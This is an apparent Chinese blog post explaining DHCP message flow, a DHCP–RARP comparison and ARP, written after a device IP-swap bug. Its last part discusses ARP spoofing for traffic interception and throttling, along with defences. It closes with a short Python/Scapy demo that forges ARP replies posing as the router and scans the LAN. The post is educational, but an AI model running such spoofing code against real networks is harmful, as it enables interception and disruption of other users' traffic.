前言
寫這篇文章的緣由是客戶提出的一個(gè)問題:客戶使用公司的Wi-Fi產(chǎn)品的App,有兩個(gè)設(shè)備出現(xiàn)了問題,點(diǎn)擊App里某個(gè)設(shè)備的開關(guān)但卻是另外一個(gè)設(shè)備響應(yīng)。最后排查的原因是,設(shè)備A和B在重新連入Wi-Fi的時(shí)候分配的IP地址反了過來!而測(cè)試的App一直常駐后臺(tái),保留的是第一次廣播發(fā)現(xiàn)時(shí)的IP地址沒有更新。為此我整理了局域網(wǎng)內(nèi)自動(dòng)分配IP地址相關(guān)的內(nèi)容,也就是文章的第一部分DHCP協(xié)議詳解。
DHCP協(xié)議本質(zhì)是一種為MAC地址和IP地址提供映射的服務(wù),這讓我聯(lián)想起RARP協(xié)議。為此在文章的第二部分對(duì)比了兩種協(xié)議。
既然談及了RARP,文章的結(jié)尾也順帶討論了它的兄弟協(xié)議ARP。ARP和前兩者的不同在于它提供的是IP地址到MAC地址的映射,并且不是發(fā)生在初始化而是傳輸發(fā)現(xiàn)設(shè)備的過程。
RARP/ARP協(xié)議在《TCP/IP詳解 卷一》中有過專門的章節(jié)介紹(四、五兩章),所以本文不會(huì)再贅述這兩者協(xié)議的細(xì)節(jié)。如果仍有疑問,可以參考原書或者百度相關(guān)的內(nèi)容。
DHCP協(xié)議詳解
DHCP(Dynamic Host Configuration Protocol) 動(dòng)態(tài)主機(jī)配置協(xié)議,位于應(yīng)用層。當(dāng)某主機(jī)尚未分配IP地址并且被設(shè)置為動(dòng)態(tài)獲取方式時(shí),DHCP服務(wù)器就會(huì)根據(jù)DHCP協(xié)議給作為DHCP客戶端的這臺(tái)主機(jī)分配IP,使得主機(jī)能夠利用這個(gè)IP上網(wǎng)。
這個(gè)應(yīng)用層協(xié)議相對(duì)于HTTP,FTP聽起來較為陌生,但是現(xiàn)實(shí)生活中卻是非常常見的。如果恰巧你的身邊有一臺(tái)連接著Wi-Fi的iPhone或者iPad,你可以進(jìn)入設(shè)置—>Wi-Fi ,點(diǎn)擊當(dāng)前連接Wi-Fi旁邊的感嘆號(hào)按鈕查看配置,在這里你可以發(fā)現(xiàn)DHCP的身影。
圖中的Static選項(xiàng)用來設(shè)置靜態(tài)地址,需要手動(dòng)輸入各項(xiàng)參數(shù);左邊的則是我們今天將要介紹的DHCP;而中間的Bootp(Bootstrap Protocol)則是DHCP的前身,在《TCP/IP詳解 卷一》中,第十六章整個(gè)篇幅拿來專門介紹了這個(gè)協(xié)議。
當(dāng)然現(xiàn)在已經(jīng)幾乎看不到Bootp了。繼任者DHCP兼容Bootp,有關(guān)DHCP報(bào)文格式問疑問,可以參考Bootp。兩者具體的不同可以參見文檔,本文不做贅述。
RFC 1531 - Dynamic Host Configuration Protocol
From the client's point of view, DHCP is an extension of the BOOTP mechanism. This behavior allows existing BOOTP clients to interoperate with DHCP servers without requiring any change to the clients' initialization software.
RFC 1534 - Interoperation Between DHCP and BOOTP
The format of DHCP messages is defined to be compatible with the format of BOOTP messages. ... Support of BOOTP clients by a DHCP server is optional at the discretion of the local system administrator.
DHCP報(bào)文類型簡(jiǎn)介
- DHCPDiscover
當(dāng)作為DHCP客戶端的主機(jī)第一次連入網(wǎng)絡(luò)的時(shí)候發(fā)出的廣播包,試圖發(fā)現(xiàn)DHCP服務(wù)器并請(qǐng)求IP地址的相關(guān)信息。
-
DHCPOffer
當(dāng)DHCP服務(wù)器收到DHCP客戶端發(fā)出的DHCPDiscover廣播以后,以廣播的形式將一個(gè)尚未分配的IP地址和一些TCP/IP的配置信息返回給DHCP客戶端。如果LAN中有多臺(tái)DHCP服務(wù)器,每一臺(tái)DHCP服務(wù)器都可以對(duì)DHCP客戶端做出回應(yīng),由DHCP客戶端自行選擇和誰(shuí)通信。在Windows中DHCP客戶端會(huì)使用第一個(gè)返回的DHCPOffer包。
但是細(xì)心的朋友應(yīng)該發(fā)現(xiàn)了,DHCPDiscover的截圖中DHCP客戶端在二層和三層確實(shí)使用了廣播地址,但是DHCPOffer的截圖,DHCP服務(wù)器返回的消息地址是指定的!Ethernet這一層填入了DHCP客戶端的MAC地址,并且目的IP地址直接寫入了預(yù)備分配給DHCP客戶端的IP地址?
協(xié)議的描述是說以廣播的形式返回,但事實(shí)卻是單播的形式。這不符合邏輯和規(guī)范,但確確實(shí)實(shí)發(fā)生了。針對(duì)這個(gè)現(xiàn)象,我們應(yīng)該引出兩個(gè)問題:
- DHCP服務(wù)器是如何發(fā)出這個(gè)廣播包的?
- 此時(shí)DHCP客戶端還不知道自己分配的IP地址,為什么可以成功拿到這個(gè)數(shù)據(jù)包?
讓我們一一來分析一下:
要討論第一個(gè)問題,我們必須熟悉兩個(gè)概念:一個(gè)是數(shù)據(jù)進(jìn)入?yún)f(xié)議棧的流程;另一個(gè)就是ARP協(xié)議。
以太網(wǎng)是是當(dāng)今TCP/IP采用的主要的局域網(wǎng)技術(shù)。以太網(wǎng)首部的14個(gè)字節(jié),依次是6字節(jié)源主機(jī)的MAC地址,6字節(jié)目標(biāo)主機(jī)的MAC地址和2字節(jié)類型標(biāo)識(shí)。當(dāng)一臺(tái)主機(jī)把以太網(wǎng)數(shù)據(jù)幀發(fā)送到位于同一局域網(wǎng)上的另一臺(tái)主機(jī)時(shí),是根據(jù)48 bit的MAC地址來確定目的接口的。設(shè)備驅(qū)動(dòng)程序從不檢查IP數(shù)據(jù)報(bào)中的目的IP地址。這也就是說我們通過以太網(wǎng)發(fā)送一個(gè)數(shù)據(jù)報(bào),除了要知道對(duì)方的IP地址,還需要知道對(duì)方的MAC地址。
但是DHCP作為一個(gè)應(yīng)用層的協(xié)議,它是如何設(shè)置以太網(wǎng)首部里的目的MAC地址的呢?假設(shè)DHCP服務(wù)器在收到DHCP客戶端的DHCPDiscover之后預(yù)備分配一個(gè)IP地址192.168.199.232
給DHCP客戶端,在返回DHCPOffer時(shí)假定192.168.199.232
已經(jīng)是DHCP客戶端的IP地址了。一般情況下會(huì)通過ARP協(xié)議來獲取DHCP客戶端的MAC地址。
DHCP服務(wù)器發(fā)送一份稱作ARP請(qǐng)求的以太網(wǎng)數(shù)據(jù)幀給以太網(wǎng)上的每個(gè)主機(jī),*ARP請(qǐng)求數(shù)據(jù)幀中包含目的主機(jī)的IP地址。在Wireshark抓取的結(jié)果中你可以看到這樣一個(gè)提示
Who has 192.168.199.232 ? Tell 192.168.199.1
DHCP客戶端的ARP層收到這份廣播報(bào)文后,識(shí)別出這是DHCP服務(wù)器在尋問它的IP地址,于是發(fā)送一個(gè)ARP應(yīng)答。這個(gè)ARP應(yīng)答包含IP地址及對(duì)應(yīng)的硬件地址。
192.168.199.232 is at xx:xx:xx:xx:xx:xx
DHCP服務(wù)器收到ARP應(yīng)答后,獲取到了
192.168.199.232
也就是DHCP客戶端對(duì)應(yīng)的MAC地址,那么現(xiàn)在就可以傳送IP數(shù)據(jù)報(bào)了。
ARP層的說法其實(shí)并不準(zhǔn)確,實(shí)際ARP相關(guān)數(shù)據(jù)報(bào)的收發(fā)和處理是由鏈路層來處理的。
那么問題來了,DHCP客戶端此時(shí)尚未被分配IP地址,它怎么會(huì)判斷出Who has 192.168.199.232 ? Tell 192.168.199.1
這條消息是發(fā)送給自己的?這也就是說DHCP服務(wù)器發(fā)出的這個(gè)ARP請(qǐng)求根本沒有人會(huì)回應(yīng)!
有朋友可能會(huì)反駁,在DHCPDiscover中不是已經(jīng)包含了DHCP客戶端的MAC地址了嗎,我們?yōu)槭裁催€需要走ARP這一套流程?這里需要明確:DHCPDiscover中的MAC地址是以太網(wǎng)首部的內(nèi)容,但DHCP是一個(gè)應(yīng)用層的協(xié)議,在應(yīng)用層中獲取以太網(wǎng)首部的內(nèi)容是不切實(shí)際的。要想應(yīng)用層協(xié)議在以太網(wǎng)上發(fā)送一份IP數(shù)據(jù)報(bào),那么必須經(jīng)由ARP來獲取目的主機(jī)的MAC地址。
這也就是為什么我們好奇DHCP服務(wù)器會(huì)發(fā)出的這個(gè)DHCPOffer的數(shù)據(jù)報(bào)。在剛剛介紹ARP的流程里,有一部分的內(nèi)容并未提及,那就是ARP的高速緩存。實(shí)際緩存是一種提高效率的萬(wàn)金油,對(duì)于ARP也不例外。為了ARP的高速運(yùn)行,每個(gè)主機(jī)上都有一個(gè)ARP高速緩存來存放最近IP地址到MAC地址之間的映射記錄。高速緩存中每一項(xiàng)的生存時(shí)間一般為20分鐘,起始時(shí)間從被創(chuàng)建時(shí)開始算起。在發(fā)送ARP請(qǐng)求之前,主機(jī)會(huì)先查詢自己的ARP的高速緩存。
終端輸入arp -a可以查看本機(jī)的ARP的高速緩存。arp -s可以設(shè)置一個(gè)條目
這就是問題的突破口。通常Unix服務(wù)器會(huì)發(fā)個(gè)ioctl(2)請(qǐng)求給內(nèi)核,為該DHCP客戶端在ARP的高速緩存中設(shè)置條目(這就是命令arp-s所做的操作)。這意味著當(dāng)DHCP服務(wù)器發(fā)送DHCPOffer時(shí),DHCP服務(wù)器的ARP將在ARP的高速緩存中找到該DHCP客戶端的IP地址。
如果服務(wù)器沒有辦法在ARP的高速緩存設(shè)置一個(gè)條目,那么只好退而求其次選擇廣播的方式將DHCPOffer發(fā)出。當(dāng)然通常的期望是網(wǎng)絡(luò)廣播越少越好 。
第一個(gè)問題的答案已經(jīng)明了:DHCP服務(wù)器在收到DHCPDiscover時(shí)在ARP的高速緩存中將DHCP客戶端的MAC地址和將要分配的IP地址寫入條目,然后以此地址發(fā)出DHCPOffer。
但是DHCP客戶端此時(shí)尚未分配IP地址,它是如何收到這個(gè)數(shù)據(jù)包的呢?在考慮這個(gè)問題之前我們應(yīng)該要明確一個(gè)前提那就是它們?cè)谕粋€(gè)局域網(wǎng)內(nèi),交換機(jī)可以根據(jù)MAC地址將數(shù)據(jù)報(bào)投遞到DHCP客戶端。令我感到疑惑的是在DHCP客戶端尚未分配IP地址的情況下這個(gè)DHCPOffer并沒有被丟棄。能夠給出的合理解釋就是當(dāng)前IP地址尚未分配,網(wǎng)絡(luò)層允許接收這樣一個(gè)數(shù)據(jù)報(bào)。這部分應(yīng)該是看IP協(xié)議具體的邏輯實(shí)現(xiàn),我對(duì)這一部分仍然不確定,如果有其他準(zhǔn)確的答復(fù)歡迎指教。
-
DHCPRequest
當(dāng)DHCP客戶端選擇了一個(gè)DHCPOffer數(shù)據(jù)報(bào)之后,會(huì)通過廣播的形勢(shì)發(fā)送這樣一個(gè)請(qǐng)求的數(shù)據(jù)報(bào)。這條數(shù)據(jù)報(bào)中包含了DHCP客戶端選擇的DHCPOffer數(shù)據(jù)報(bào)中分配的IP地址。需要注意的是如果設(shè)備續(xù)租當(dāng)前的IP地址,那么它也會(huì)發(fā)出DHCPRequest,但是區(qū)別是會(huì)以單播的方式直接發(fā)送給DHCP服務(wù)器而不再是廣播。(有關(guān)續(xù)租,點(diǎn)擊查看自己手機(jī)的Wi-Fi詳情都可以查看到這個(gè)選項(xiàng)按鈕。)
Option:(50)Request IP Address 就是DHCPOffer分配的IP地址。
- DHCPAck
服務(wù)器以廣播的形式確認(rèn)了DHCP客戶端的請(qǐng)求,并提供了有關(guān)IP的設(shè)置選項(xiàng)。DHCP客戶端在接收了這條消息之后,就可以使用這些配置信息來設(shè)置自己的系統(tǒng),并以這個(gè)租賃的IP地址在網(wǎng)絡(luò)里收發(fā)IP數(shù)據(jù)報(bào)。
以廣播的形式返回是因?yàn)榇藭r(shí)DHCP客戶端尚未確定自己的IP地址。如果DHCPAck是DHCPInform的回應(yīng),那么這條數(shù)據(jù)報(bào)就可以直接以單播的方式發(fā)送給DHCP客戶端
提到這里我們需要關(guān)注一個(gè)點(diǎn),無(wú)論是DHCPRequest還是DHCPAck亦或是這篇文章里提及的所有其它有關(guān)DHCP的數(shù)據(jù)報(bào),收發(fā)的端口都是不變的:DHCP服務(wù)器使用了67端口,DHCP客戶端使用的是68端口。
這確實(shí)是一種約定。首先我們可以思考:如果客戶端的端口不確定,允許使用臨時(shí)端口會(huì)出現(xiàn)什么問題?之前介紹的幾種報(bào)文里我們頻繁提到了廣播的通訊方式,這意味著如果DHCP服務(wù)器如果采用廣播的方式應(yīng)答,LAN內(nèi)所有的主機(jī)都會(huì)收到這個(gè)數(shù)據(jù)報(bào),我們無(wú)法保證DHCP客戶端請(qǐng)求使用的臨時(shí)端口在LAN內(nèi)其他主機(jī)上沒有被使用。如果恰巧別的主機(jī)也在使用一樣的臨時(shí)端口,那么我們DHCP通訊勢(shì)必會(huì)對(duì)這臺(tái)主機(jī)造成影響。這就是約定端口比臨時(shí)端口的優(yōu)勢(shì)所在
一般來說端口0 ~ 1024都是被保留的。我們開發(fā)的應(yīng)用程序使用的端口最好足夠大,一般大于4000
那么為什么DHCP客戶端和DHCP服務(wù)器要各占用一個(gè)指定的端口?這實(shí)際是受制于DHCP協(xié)議本身。因?yàn)镈HCP客戶端和DHCP之間多種類型的報(bào)文都是以廣播的形勢(shì)互相傳遞的。如果DHCP客戶端和DHCP服務(wù)器使用相同的端口,那么DHCP服務(wù)器發(fā)出的廣播,同一個(gè)局域網(wǎng)內(nèi)的其他DHCP服務(wù)器也會(huì)被喚醒處理這條數(shù)據(jù)報(bào)。反之DHCP客戶端亦然。
之前的文章也提到了:通常的期望是網(wǎng)絡(luò)廣播越少越好。因?yàn)橐粭l應(yīng)答會(huì)同時(shí)發(fā)送給不相關(guān)的主機(jī),如果恰巧大家都在等待相同類型的數(shù)據(jù)報(bào),那么就容易造成混亂。比如在LAN內(nèi)如果多臺(tái)主機(jī)同時(shí)進(jìn)行系統(tǒng)引導(dǎo),而DHCP服務(wù)器都是以廣播的形式進(jìn)行應(yīng)答,為了應(yīng)對(duì)這一種情況,DHCP的報(bào)文首部提供事務(wù)標(biāo)識(shí)字段供主機(jī)進(jìn)行區(qū)分。
- DHCPNack
DHCP服務(wù)器以廣播的形式拒絕了DHCP客戶端的DHCPRequest請(qǐng)求。通常情況是因?yàn)镈HCP客戶端請(qǐng)求的IP地址非法。造成請(qǐng)求IP地址非法的原因有DHCP客戶端被移動(dòng)到其他子網(wǎng)或者對(duì)IP地址的租賃過期無(wú)法繼續(xù)續(xù)租等等。
- DHCPDecline
DHCP客戶端以廣播的形式通知DHCP服務(wù)器,DHCPOffer提供的IP地址已經(jīng)被另一臺(tái)主機(jī)使用。
- DHCPRelease
DHCP客戶端以單播的形式給分配它IP地址的DHCP服務(wù)器發(fā)送一條消息,解除當(dāng)前IP地址的租賃。
- DHCPInform
此時(shí)DHCP客戶端已經(jīng)成功配置好自己的IP地址,它向DHCP服務(wù)器發(fā)起請(qǐng)求詢問一些額外的配置信息。
DHCP協(xié)議流程圖示
一般情況下,DHCP服務(wù)器分配IP地址的流程如下
DHCP客戶端在本地子網(wǎng)中廣播,嘗試請(qǐng)求分配一個(gè)IP地址
DHCP服務(wù)器收到客戶端的請(qǐng)求之后會(huì)以DHCPOffer回應(yīng),數(shù)據(jù)報(bào)中包含一個(gè)IP地址以及和租賃相關(guān)的配置信息,供DHCP客戶端獲取。DHCP客戶端在收到DHCPOffer之前,會(huì)按照0s,4s,8s,16s,32s的間隔發(fā)送DHCPDiscover數(shù)據(jù)報(bào)。因?yàn)槭且詮V播的形式發(fā)送,所以為了避免在子網(wǎng)內(nèi)和其他設(shè)備的廣播發(fā)生沖突,每次間隔會(huì)隨機(jī)延遲或提前1s以內(nèi)的時(shí)間。如果一分鐘之后DHCP客戶端沒有收到任何回應(yīng),在沒有額外配置的情況下那么初始化就意味著失敗。
當(dāng)DHCP客戶端收到了確認(rèn),它會(huì)根據(jù)回復(fù)當(dāng)中的DHCP選項(xiàng)信息來配置自己的TCP/IP屬性并完成初始化。
在退出之后DHCP客戶端會(huì)和DHCP服務(wù)器解除這個(gè)IP地址的租賃。(這個(gè)消息是沒有返回的,即使DHCP服務(wù)器沒有收到,那么租賃到期時(shí)也會(huì)因?yàn)闆]有續(xù)租而自動(dòng)解除)
如果DHCP客戶端收到的DHCPOffer數(shù)據(jù)報(bào),里面提供的IP地址不可用,那么DHCP客戶端會(huì)拒絕這個(gè)IP地址并通知DHCP服務(wù)器
極少數(shù)的情況下,DHCP服務(wù)器或拒絕DHCP客戶端。通常是因?yàn)镈HCP客戶端請(qǐng)求了一個(gè)非法的IP地址。這個(gè)時(shí)候DHCP客戶端需要重新去確認(rèn)租賃的過程。
DHCP分配IP地址的機(jī)制實(shí)質(zhì)上有三種,除開我們上文仔細(xì)介紹的動(dòng)態(tài)分配方式(Dynamic Allocation),還可以自動(dòng)分配方式(Automatic Allocation)為DHCP客戶端永久的指定一個(gè)IP地址;亦或是手工分配方式(Manual Allocation),網(wǎng)絡(luò)管理員直接為每臺(tái)DHCP客戶端指定IP地址,DHCP服務(wù)器只是將分配的結(jié)果傳達(dá)給DHCP客戶端。
本文不再贅述后兩種機(jī)制。
聊一聊RARP
上文我們提到,DHCP協(xié)議實(shí)際是BOOTP協(xié)議的升級(jí)版,而BOOTP則可以被認(rèn)為是另一種意義上的RARP(逆地址解析協(xié)議)的升級(jí)。我們?cè)谟懻揇HCP數(shù)據(jù)報(bào)格式的時(shí)候,提到在基于以太網(wǎng)的鏈路層上傳遞數(shù)據(jù)報(bào)是需要同時(shí)提供48 bit的MAC地址和32 bit的IP地址的。每臺(tái)主機(jī)的硬件地址是唯一的(至少理論上是這樣說的,實(shí)際情況并不如此這只是一個(gè)美好的愿景),在主機(jī)初始化尚未獲取到IP地址的時(shí)候,這兩種協(xié)議提供了MAC地址到IP地址的一種映射。雖然常常會(huì)被人混成一談,但實(shí)際DHCP協(xié)議(或者說BOOTP協(xié)議)和RARP的區(qū)別非常的大。
首先,兩者分別處于不同的層上。
重新翻看一下上面的老圖,RARP協(xié)議位于鏈路層,而DHCP協(xié)議是位于應(yīng)用層上的。層次的不同使得封裝也相差甚遠(yuǎn)。RARP直接封裝在以太網(wǎng)幀中,協(xié)議類型置為0x0800用以標(biāo)識(shí)這個(gè)報(bào)文是ARP/RARP報(bào)文,直接交由鏈路層去處理;而BOOTP/DHCP報(bào)文是直接封裝在UDP報(bào)文中,作為UDP的數(shù)據(jù)出現(xiàn)的。
其次,RARP協(xié)議無(wú)法穿透子網(wǎng),而DHCP可以
因?yàn)镽ARP協(xié)議使用的是鏈路層的廣播,所以路由器不會(huì)轉(zhuǎn)發(fā)RARP的請(qǐng)求。這就迫使每個(gè)實(shí)際網(wǎng)絡(luò)都需要單獨(dú)設(shè)置一個(gè)RARP服務(wù)器。但是DHCP協(xié)議則沒有了這樣的麻煩。雖然在DHCP協(xié)議中有大量的會(huì)話需要以廣播的形式實(shí)現(xiàn),而廣播域局限在子網(wǎng)以內(nèi),但可以通過設(shè)置DHCP Relay來應(yīng)對(duì)這一種情況。
DHCP Relay接收到本地主機(jī)發(fā)出的DHCP廣播包,處理之后以單播的形式轉(zhuǎn)發(fā)給DHCP服務(wù)器。同理在收到DHCP服務(wù)器的應(yīng)答以后,在以廣播的形式返回給本地主機(jī)。
在這里我們思考兩個(gè)問題
- 是否二層協(xié)議(也就是網(wǎng)絡(luò)層)都無(wú)法穿透子網(wǎng)。
并不盡然。比如我們所熟知的ICMP和RARP同在二層,但是ICMP可以穿透而RARP則不行。造成這樣一種情況的根源就在于網(wǎng)絡(luò)分層的不完美。
以我們熟知的TCP為例,一個(gè)基于TCP的應(yīng)用層協(xié)議在傳輸數(shù)據(jù)的過程中,用戶數(shù)據(jù)會(huì)自頂向下依次被封裝,每次向下傳遞的過程,低層協(xié)議都會(huì)將自己的首部添加在上層協(xié)議數(shù)據(jù)報(bào)的開端。在這里我們可以簡(jiǎn)單的根據(jù)封裝的順序來區(qū)分協(xié)議所在層次的高低。
但是在網(wǎng)絡(luò)層,有一個(gè)非常尷尬的存在那就是:ICMP和IP同在網(wǎng)絡(luò)層,但是ICMP的傳輸卻需要IP協(xié)議的承載,區(qū)分ICMP協(xié)議是依靠IP數(shù)據(jù)報(bào)中的type字段。而RARP/ARP協(xié)議則和IP協(xié)議一樣,是以以太網(wǎng)首部的type字段來加以區(qū)分的。在之前的圖中也可以看出,雖然這幾類協(xié)議同在網(wǎng)絡(luò)層,但是我們還是將它們分別放在了不同高度的位置上。
既然ICMP數(shù)據(jù)報(bào)被IP協(xié)議封裝處理了,那么路由在接收到這樣一份數(shù)據(jù)報(bào)的時(shí)候就知道如何去轉(zhuǎn)發(fā)。但是RARP協(xié)議是依賴MAC地址的,轉(zhuǎn)發(fā)也就無(wú)從說起了。
- 是否可能允許處理一下路由讓其允許轉(zhuǎn)發(fā)RARP的數(shù)據(jù)報(bào)
因?yàn)镽ARP協(xié)議沒有IP地址,所以即使允許路由器轉(zhuǎn)發(fā),但是在接收到應(yīng)答的時(shí)候,如果目的主機(jī)不是直連的,那么路由器沒有辦法僅僅依據(jù)MAC地址來決定下一跳的位置。
最重要的在于,RARP協(xié)議的使用需要我們提前在服務(wù)器上配置好相關(guān)的信息,服務(wù)器只提供IP地址;而DHCP服務(wù)器則是動(dòng)態(tài)的去分配IP地址,并且可以提供初始化過程中需要的各類選項(xiàng)。
試想一下,如果每次都需要人為的去手動(dòng)設(shè)置,那么地址就很容易會(huì)缺乏統(tǒng)一的規(guī)劃和管理。如果我們希望在一個(gè)子網(wǎng)內(nèi),對(duì)地址能夠有統(tǒng)一的規(guī)劃和分配,專門的管理租約,續(xù)租,那么就必須要有一個(gè)服務(wù)器來專門承擔(dān)這部分的責(zé)任。這也就是DHCP協(xié)議的意義所在。
總結(jié)
看似DHCP在和RARP的比較當(dāng)中是完全勝出,但在IPv6里情況卻變得非常值得玩味。在IPv6中,回歸到ND(鄰居發(fā)現(xiàn)協(xié)議),DHCPv6協(xié)同分配的處理方案。ND可以簡(jiǎn)單看成是增強(qiáng)版的ARP/RARP,它充分滿足了沒有DHCP服務(wù)器的情況下,在IPv6網(wǎng)絡(luò)分配IP地址,路由前綴自動(dòng)生成,快速上網(wǎng)的需求。
設(shè)計(jì)成這樣的原因就在于網(wǎng)絡(luò)中有很多輕量級(jí)客戶端,不需要進(jìn)行統(tǒng)一管理。這種場(chǎng)景下,輕量級(jí)的ARP/RARP進(jìn)行一下修改和完善,比起DHCPv6就更加適合了。
聊一聊ARP
相比較于上文提到的兩類協(xié)議,ARP(地址解析協(xié)議)就顯得非常的簡(jiǎn)單了。這是應(yīng)用于實(shí)現(xiàn)從 IP 地址到 MAC 地址的映射,即詢問目標(biāo)IP對(duì)應(yīng)的MAC地址的一類協(xié)議。完整的流程只需要兩個(gè)數(shù)據(jù)報(bào),一問一答即可。借助Wireshark里我們可以很輕松的看清它工作的流程。
-
發(fā)起方 PC-1 詢問
Who is 192.168.199.170 ? Tell 192.168.199.177
-
當(dāng)IP地址是192.168.199.170的主機(jī)PC-2收到這條廣播以后會(huì)給予應(yīng)答
192.168.199.170 is at xx:xx:xx:xx:xx:xx(PC-2的MAC地址)
這樣一份簡(jiǎn)單的協(xié)議,卻留下了非常大的可操作空間。即使你不是專業(yè)的計(jì)算機(jī)相關(guān)從業(yè)人員,或許你也會(huì)聽人說過網(wǎng)絡(luò)掃描
、內(nèi)網(wǎng)滲透
、中間人攔截
、局域網(wǎng)流控
這些名詞,包括大量的安全工具,例如大名鼎鼎的Cain
、功能完備的Ettercap
,這些全部都要基于ARP協(xié)議來實(shí)現(xiàn)。
要明白問題的根源,首先我們要明確ARP協(xié)議的報(bào)文有怎樣的特點(diǎn):
- 報(bào)文沒有任何加密的措施
- 會(huì)話過程中有大量廣播的行為
不僅ARP,它的兄弟協(xié)議RARP報(bào)文也是一樣。在RFC 3046 DHCP Relay Agent Information Option中有這樣一段話
How does the system prevent DHCP IP exhaustion attacks? This is when an attacker
requests all available IP addresses from a DHCP server by sending
requests with fabricated DHCP客戶端 MAC addresses. How can an IP address
or LIS be permanently assigned to a particular user or modem? How
does one prevent "spoofing" of DHCP客戶端 identifier fields used to
assign IP addresses? How does one prevent denial of service by
"spoofing" other DHCP客戶端's MAC addresses?
無(wú)加密的廣播意味著收發(fā)的數(shù)據(jù)報(bào)很容易就會(huì)被同在LAN下的主機(jī)獲取,傳輸?shù)倪^程又沒有任何加密措施,那么偽造應(yīng)答也就毫無(wú)難度可言了。我們可以設(shè)想這樣一種情況,在收到發(fā)起方的詢問以后,我們偽造一條ARP Reply響應(yīng)發(fā)起方會(huì)怎樣?
-
發(fā)起方 PC-1 詢問
Who is 192.168.199.170 ? Tell 192.168.199.177
-
正確的情況應(yīng)該是IP地址為192.168.199.170的主機(jī) PC-2 回應(yīng)
192.168.199.170 is at xx:xx:xx:xx:xx:xx(PC-2的mac地址)
-
但是攻擊者可以模擬一條ARP報(bào)文進(jìn)行回應(yīng)
192.168.199.170 is at yy:yy:yy:yy:yy:yy(攻擊者的mac地址)
發(fā)起方 PC-1 同時(shí)收到兩條ARP Reply,依據(jù)后到優(yōu)先的原則會(huì)根據(jù)最新的Reply進(jìn)行緩存。攻擊者短時(shí)間內(nèi)多次響應(yīng),那么幾乎可以肯定會(huì)覆蓋PC-2正確的響應(yīng)。這意味著什么?
- PC-2的數(shù)據(jù)被轉(zhuǎn)發(fā)到攻擊者那里,明文傳輸?shù)臄?shù)據(jù)將會(huì)直接暴露出來。
- 因?yàn)樵緦儆赑C-2的數(shù)據(jù)被轉(zhuǎn)發(fā),那么對(duì)于PC-2就相當(dāng)于斷開了網(wǎng)絡(luò)。
- 當(dāng)然,直接斷開會(huì)引起使用者的注意,我們也可以做一些手腳來限速PC-2。
以上模擬ARP Reply。同理攻擊者也可以模擬發(fā)起ARP Request。這個(gè)應(yīng)用比較多的是掃描LAN內(nèi)的主機(jī),相對(duì)來說無(wú)毒無(wú)害一些。遍歷LAN內(nèi)可能的IP地址逐個(gè)構(gòu)造ARP Request,如果LAN內(nèi)存在相同IP地址的主機(jī),那么它就會(huì)響應(yīng)自己的MAC地址。
要避免ARP相關(guān)的攻擊,方法很多。最穩(wěn)妥但是比較繁瑣的就是靜態(tài)設(shè)置,將IP地址和MAC地址一一綁定,幾乎斷絕了其它操作的可能,但是同個(gè)LAN內(nèi)用戶多了以后會(huì)變得非常麻煩。或者不僅僅依靠ARP Reply,多個(gè)途徑獲取IP地址和MAC地址的映射用以判斷非法用戶,比如說DAI(Dynamic ARP Inspection)動(dòng)態(tài)ARP檢測(cè),交換機(jī)上開啟DHCP偵聽技術(shù)。
當(dāng)然,我們也可以根據(jù)網(wǎng)絡(luò)數(shù)據(jù)包特征自動(dòng)識(shí)別局域網(wǎng)存在的ARP掃描和欺騙行為,并做出攻擊判斷(哪個(gè)主機(jī)做了攻擊,IP和MAC是多少)。這也是部分安全軟件所實(shí)現(xiàn)的機(jī)制。
比如說攻擊者為了確保自己的ARP Reply能夠覆蓋正確的響應(yīng),會(huì)短時(shí)間內(nèi)發(fā)送多個(gè)偽造的數(shù)據(jù)報(bào)的行為。
簡(jiǎn)單實(shí)現(xiàn)的ARP掃描和欺騙
這里使用的是Python的Scapy庫(kù)。里面提供了兩個(gè)函數(shù)forwardArpPackrt
和scanLanDevices
,分別是做的ARP欺騙和ARP掃描LAN內(nèi)主機(jī)的操作。因?yàn)槭莻€(gè)Demo并沒有加option,如果你有興趣測(cè)試自己修改一下代碼內(nèi)相關(guān)的IP地址即可。
#coding:utf-8
from scapy.all import *
mac = get_if_hwaddr('en1')
print mac
def forwardArpPackrt(packet):
print packet.op,packet.hwdst
if packet.op == 1 and packet.pdst == '你的路由器的IP地址':
print '-----Found-----'
print packet.hwsrc, packet.psrc
print '---------------'
arpPkt = Ether(dst=packet.hwsrc)/ARP(op=2, hwdst=packet.hwsrc, pdst=packet.psrc,
psrc=packet.pdst, hwsrc=mac)
res = srp1(arpPkt, timeout=1 ,verbose=0)
if res:
print 'succ'
def scanLanDevices():
#根據(jù)自己的IP地址以及子網(wǎng)掩碼來確定可能的主機(jī)號(hào)
IP_SCAN = '192.168.199.1/24'
try:
ans, unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=IP_SCAN), timeout=2)
except Exception as e:
print e
else:
for send, rcv in ans:
ListMacAddr = rcv.sprintf("%Ether.src%---%ARP.psrc%")
print ListMacAddr
if __name__ == '__main__':
#sniff(filter='arp', iface='en1',prn=forwardArpPackrt)
scanLanDevices()
最后有兩點(diǎn)需要提示的:
- 抓包可以看出掃描本地設(shè)備的時(shí)候廣播的太過頻繁,可能會(huì)被丟棄一部分。導(dǎo)致掃描的結(jié)果不完整。
- Scapy依賴比較多的庫(kù),請(qǐng)確保安裝完全。